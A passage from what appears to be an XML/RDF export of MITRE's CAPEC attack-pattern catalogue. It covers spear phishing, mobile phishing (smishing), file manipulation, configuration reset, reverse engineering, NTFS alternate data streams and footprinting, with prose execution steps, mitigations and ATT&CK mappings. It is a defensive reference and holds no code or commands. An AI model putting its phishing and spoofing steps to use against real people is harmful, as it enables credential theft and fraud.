has been compromised the message may be digitally signed. The message will contain information specific to the targeted users that will enhance the probability that they will follow the URL to the compromised site. For example, the message may indicate knowledge of the targets employment, residence, interests, or other information that suggests familiarity. As soon as the user follows the instructions in the message, the attack proceeds as a standard Phishing attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6427 + Related_Attack_Pattern_6427 + + + + + + + + + + + + + + 98 + + + + + + + + + + + + #indAttackStepAttackStep6430 + Attack_Step_6430 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain useful contextual detailed information about the targeted user or organization] An adversary collects useful contextual detailed information about the targeted user or organization in order to craft a more deceptive and enticing message to lure the target into responding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct web searching research of target. See also: CAPEC-118.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify trusted associates, colleagues and friends of target. See also: CAPEC-118.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize social engineering attack patterns such as Pretexting. See also: CAPEC-407.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Collect social information via dumpster diving. See also: CAPEC-406.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Collect social information via traditional sources. See also: CAPEC-118.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Collect social information via Non-traditional sources. See also: CAPEC-118.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6441 + Attack_Step_6441 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Optional: Obtain domain name and certificate to spoof legitimate site] This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a legitimate SSL certificate for the new domain name.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6448 + Attack_Step_6448 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Optional: Explore legitimate website and create duplicate] An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use spidering software to get copy of web pages on legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually save copies of required web pages from legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create new web pages that have the legitimate site's look at feel, but contain completely new content.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6456 + Attack_Step_6456 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Optional: Build variants of the website with very specific user information e.g., living area, etc.] Once the adversary has their website which duplicates a legitimate website, they need to build very custom user related information in it. For example, they could create multiple variants of the website which would target different living area users by providing information such as local news, local weather, etc. so that the user believes this is a new feature from the website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Integrate localized information in the web pages created to duplicate the original website. Those localized information could be dynamically generated based on unique key or IP address of the future victim.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6462 + Attack_Step_6462 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Convince user to enter sensitive information on adversary's site.] An adversary sends a message (typically an e-mail) to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to adversary's website) and log in. The key is to get the victim to believe that the message is coming from a legitimate entity trusted by the victim or with which the victim or does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Place phishing link in post to online forum.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6469 + Attack_Step_6469 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use stolen credentials to log into legitimate site] Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Log in to the legitimate site using another user's supplied credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None. Any user can be targeted by a Spear Phishing attack.</xhtml:div> + + + + + + + + + + + + #indSkillSkill6480 + Skill_6480 + + + + + + + + + + + + + + Spear phishing attacks require specific knowledge of the victims being targeted, such as which bank is being used by the victims, or websites they commonly log into (Google, Facebook, etc). + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversay must have the ability communicate their phishing scheme to the victims (via email, instance message, etc.), as well as a website or other platform for victims to enter personal information into.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6486 + Consequence_6486 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6491 + Consequence_6491 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Privilege Escalation</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6499 + Consequence_6499 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data Modification</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not follow any links that you receive within your e-mails and certainly do not input any login credentials on the page that they take you too. Instead, call your Bank, PayPal, eBay, etc., and inquire about the problem. A safe practice would also be to type the URL of your bank in the browser directly and only then log in. Also, never reply to any e-mails that ask you to provide sensitive information of any kind.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity that happened in a different area from where they live (details might be provided by the spear phishers) and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An adversary has just collected the target's online banking information which can now be used by them to log into the target's bank account and transfer money to a bank account of the adversary's choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can leverage a weakness in the SMB protocol by sending the target, an official looking e-mail from their employer's IT Department stating that their system has vulnerable software, which they need to manually patch by accessing an updated version of the software by clicking on a provided link to a network share. Once the link is clicked, the target is directed to an external server controlled by the adversary or to a malicious file on a public access share. The SMB protocol will then attempt to authenticate the target to the adversary controlled server, which allows the adversary to capture the hashed credentials over SMB. These credentials can then be used to execute offline brute force attacks or a "Pass The Hash" attack.</xhtml:div> + + + + + 451 + + + + + + + + + + + + #indTaxonomyMappingInternalSpearfishing + Internal Spearfishing + + + + + + + + + + + + + + 1534 + + + + + Internal Spearfishing + + + + + + + + + + + + #indTaxonomyMappingPhishingSpearfishingAttachment + Phishing: Spearfishing Attachment + + + + + + + + + + + + + + 1566.001 + + + + + Phishing: Spearfishing Attachment + + + + + + + + + + + + #indTaxonomyMappingPhishingSpearfishingLink + Phishing: Spearfishing Link + + + + + + + + + + + + + + 1566.002 + + + + + Phishing: Spearfishing Link + + + + + + + + + + + + #indTaxonomyMappingPhishingSpearfishingViaService + Phishing: Spearfishing via Service + + + + + + + + + + + + + + 1566.003 + + + + + Phishing: Spearfishing via Service + + + + + + + + + + + + #indTaxonomyMappingPhishingForInformationSpearfishingService + Phishing for Information: Spearfishing Service + + + + + + + + + + + + + + 1598.001 + + + + + Phishing for Information: Spearfishing Service + + + + + + + + + + + + #indTaxonomyMappingPhishingForInformationSpearfishingAttachment + Phishing for Information: Spearfishing Attachment + + + + + + + + + + + + + + 1598.002 + + + + + Phishing for Information: Spearfishing Attachment + + + + + + + + + + + + #indTaxonomyMappingPhishingForInformationSpearfishingLink + Phishing for Information: Spearfishing Link + + + + + + + + + + + + + + 1598.003 + + + + + Phishing for Information: Spearfishing Link + + + + + + + + + + + + #indContentHistoryContentHistory6545 + Content_History_6545 + + + + + + + + + + + + + + + + #indSubmissionSubmission6546 + Submission_6546 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6551 + Modification_6551 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6557 + Modification_6557 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Resources_Required + + + + + + + + + + + + #indModificationModification6563 + Modification_6563 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6569 + Modification_6569 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Example_Instances, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification6575 + Modification_6575 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification6581 + Modification_6581 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6587 + Modification_6587 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification6593 + Modification_6593 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-164 + Mobile Phishing + + + + + + + + + 164 + + + + + Mobile Phishing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets mobile phone users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Mobile Phishing is a variation of the Phishing social engineering technique where the attack is initiated via a text or SMS message, rather than email. The user is enticed to provide information or visit a compromised web site via this message. Apart from the manner in which the attack is initiated, the attack proceeds as a standard Phishing attack.</xhtml:div> + + + + + + + + + + + + #indAlternateTermSmishing + Smishing + + + + + + + + + Smishing + + + + + + + + + + + + #indAlternateTermMobPhishing + MobPhishing + + + + + + + + + MobPhishing + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6614 + Related_Attack_Pattern_6614 + + + + + + + + + + + + + + 98 + + + + + + + + + + + + #indAttackStepAttackStep6617 + Attack_Step_6617 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain domain name and certificate to spoof legitimate site] This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a legitimate SSL certificate for the new domain name.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6624 + Attack_Step_6624 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore legitimate website and create duplicate] An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use spidering software to get copy of web pages on legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually save copies of required web pages from legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create new web pages that have the legitimate site's look and feel, but contain completely new content.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6632 + Attack_Step_6632 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Convince user to enter sensitive information on adversary's site.] An adversary sends a text message to the victim that has a call-to-action, in order to persuade the user into clicking the included link (which then takes the victim to the adversary's website) and logging in. The key is to get the victim to believe that the text message originates from a legitimate entity with which the victim does business and that the website pointed to by the URL in the text message is the legitimate website. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send the user a message from a spoofed legitimate-looking mobile number that asks the user to click on the included link.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep6638 + Attack_Step_6638 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use stolen credentials to log into legitimate site] Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Log in to the legitimate site using another user's supplied credentials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs mobile phone numbers to initiate contact with the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.</xhtml:div> + + + + + + + + + + + + #indSkillSkill6652 + Skill_6652 + + + + + + + + + + + + + + Basic knowledge about websites: obtaining them, designing and implementing them, etc. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Either mobile phone or access to a web resource that allows text messages to be sent to mobile phones. Resources needed for regular Phishing attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive a text message from an entity that you are not even a customer of prompting you to log into your account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive any text message that provides you with a link that takes you to a website which requires you to enter your credentials.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence6662 + Consequence_6662 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence6668 + Consequence_6668 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence6672 + Consequence_6672 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not follow any links that you receive within text messages and do not input any login credentials on the page that they take you too. Instead, call your Bank, PayPal, eBay, etc., and inquire about the problem. Safe practices also include leveraging the entity's mobile application or directly typing the entity's URL in the browser and only then logging in. Never reply to any text messages that ask you to provide sensitive information of any kind.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target receives a text message stating that their Apple ID has been disabled due to suspicious activity and that they need to click on the link included in the message to log into their Apple account in order to enable it. The link in the text message looks legitimate and once the link is clicked, the login page is an exact replica of Apple's standard login page. The target supplies their login credentials and are then notified that their account has now been unlocked. However, the adversary has just collected the target's Apple account information, which can now be used by the adversary for a variety of purposes.</xhtml:div> + + + + + 451 + + + + + + + + + + + + #indReferenceReference6687 + Reference_6687 + + + + + + + + + REF-590 + + + + + + + + + + + + #indReferenceReference6688 + Reference_6688 + + + + + + + + + REF-591 + + + + + + + + + + + + #indReferenceReference6689 + Reference_6689 + + + + + + + + + REF-592 + + + + + + + + + + + + #indReferenceReference6690 + Reference_6690 + + + + + + + + + REF-593 + + + + + + + + + + + + #indReferenceReference6691 + Reference_6691 + + + + + + + + + REF-696 + + + + + + + + + + + + #indContentHistoryContentHistory6693 + Content_History_6693 + + + + + + + + + + + + + + + + #indSubmissionSubmission6694 + Submission_6694 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6699 + Modification_6699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Alternate_Terms + + + + + + + + + + + + #indModificationModification6705 + Modification_6705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Status, Alternate_Terms, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Skills_Required + + + + + + + + + + + + #indModificationModification6711 + Modification_6711 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated References + + + + + + + + + + + + #indModificationModification6717 + Modification_6717 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName6723 + Previous_Entry_Name_6723 + + + + + + + + + 2017-01-09 + + + + + Mobile Phishing (aka MobPhishing) + + + + + + + + + + + + #CAPEC-165 + File Manipulation + + + + + + + + + 165 + + + + + File Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker modifies file contents or attributes (such as extensions or names) of files in a manner to cause incorrect processing by an application. Attackers use this class of attacks to cause applications to enter unstable states, overwrite or expose sensitive information, and even execute arbitrary code with the application's privileges. This class of attacks differs from attacks on configuration information (even if file-based) in that file manipulation causes the file processing to result in non-standard behaviors, such as buffer overflows or use of the incorrect interpreter. Configuration attacks rely on the application interpreting files correctly in order to insert harmful configuration information. Likewise, resource location attacks rely on controlling an application's ability to locate files, whereas File Manipulation attacks do not require the application to look in a non-default location, although the two classes of attacks are often combined.</xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must use the affected file without verifying its integrity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. In some cases, tools can be used to better control the response of the targeted application to the modified file.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingMasqueradingRenameSystemUtilities + Masquerading: Rename System Utilities + + + + + + + + + + + + + + 1036.003 + + + + + Masquerading: Rename System Utilities + + + + + + + + + + + + #indContentHistoryContentHistory6741 + Content_History_6741 + + + + + + + + + + + + + + + + #indSubmissionSubmission6742 + Submission_6742 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6747 + Modification_6747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6753 + Modification_6753 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification6759 + Modification_6759 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-166 + Force the System to Reset Values + + + + + + + + + 166 + + + + + Force the System to Reset Values + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Since these functions are usually intended as emergency features to return an application to a stable configuration if the current configuration degrades functionality, they may not be as strongly secured as other configuration options. The resetting of values is dangerous as it may enable undesired functionality, disable services, or modify access controls. At the very least this is a nuisance attack since the administrator will need to re-apply their configuration. At worst, this attack can open avenues for powerful attacks against the application, and, if it isn't obvious that the configuration has been reset, these vulnerabilities may be present a long time before they are notices.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6775 + Related_Attack_Pattern_6775 + + + + + + + + + + + + + + 161 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must have a reset function that returns the configuration of the application to an earlier state.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The reset functionality must be inadequately protected against use.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. In some cases, the attacker may need special client applications in order to execute the reset functionality.</xhtml:div> + + + + + 306 + + + + + 1221 + + + + + 1232 + + + + + + + + + + + + #indContentHistoryContentHistory6791 + Content_History_6791 + + + + + + + + + + + + + + + + #indSubmissionSubmission6792 + Submission_6792 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6797 + Modification_6797 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6803 + Modification_6803 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification6809 + Modification_6809 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification6815 + Modification_6815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification6821 + Modification_6821 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification6827 + Modification_6827 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification6833 + Modification_6833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification6839 + Modification_6839 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-167 + White Box Reverse Engineering + + + + + + + + + 167 + + + + + White Box Reverse Engineering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker discovers the structure, function, and composition of a type of computer software through white box analysis techniques. White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6852 + Related_Attack_Pattern_6852 + + + + + + + + + + + + + + 188 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Direct access to the object or software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reverse engineering of software requires varying tools and methods that enable the decompiling of executable or other compiled objects.</xhtml:div> + + + + + 1323 + + + + + + + + + + + + #indContentHistoryContentHistory6863 + Content_History_6863 + + + + + + + + + + + + + + + + #indSubmissionSubmission6864 + Submission_6864 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6869 + Modification_6869 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification6875 + Modification_6875 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification6881 + Modification_6881 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName6887 + Previous_Entry_Name_6887 + + + + + + + + + 2015-11-09 + + + + + Lifting Sensitive Data from the Client + + + + + + + + + + + + #CAPEC-168 + Windows ::DATA Alternate Data Stream + + + + + + + + + 168 + + + + + Windows ::DATA Alternate Data Stream + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to undermine system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern6895 + Related_Attack_Pattern_6895 + + + + + + + + + + + + + + 636 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be running the Microsoft NTFS file system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have command line or programmatic access to the target's files system with write/read permissions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use FAT file systems which do not support Alternate Data Streams.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use Vista dir with the -R switch or utility to find Alternate Data Streams and take appropriate action with those discovered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use products that are Alternate Data Stream aware for virus scanning and system security operations.</xhtml:div> + + + + + 212 + + + + + 69 + + + + + + + + + + + + #indTaxonomyMappingWindowsAlternateDataStream + Windows alternate data stream + + + + + + + + + + + + + + Windows alternate data stream + + + + + + + + + + + + #indContentHistoryContentHistory6917 + Content_History_6917 + + + + + + + + + + + + + + + + #indSubmissionSubmission6918 + Submission_6918 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification6923 + Modification_6923 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification6929 + Modification_6929 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification6935 + Modification_6935 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-169 + Footprinting + + + + + + + + + 169 + + + + + Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in probing and exploration activities to identify constituents and properties of the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Footprinting is a general term to 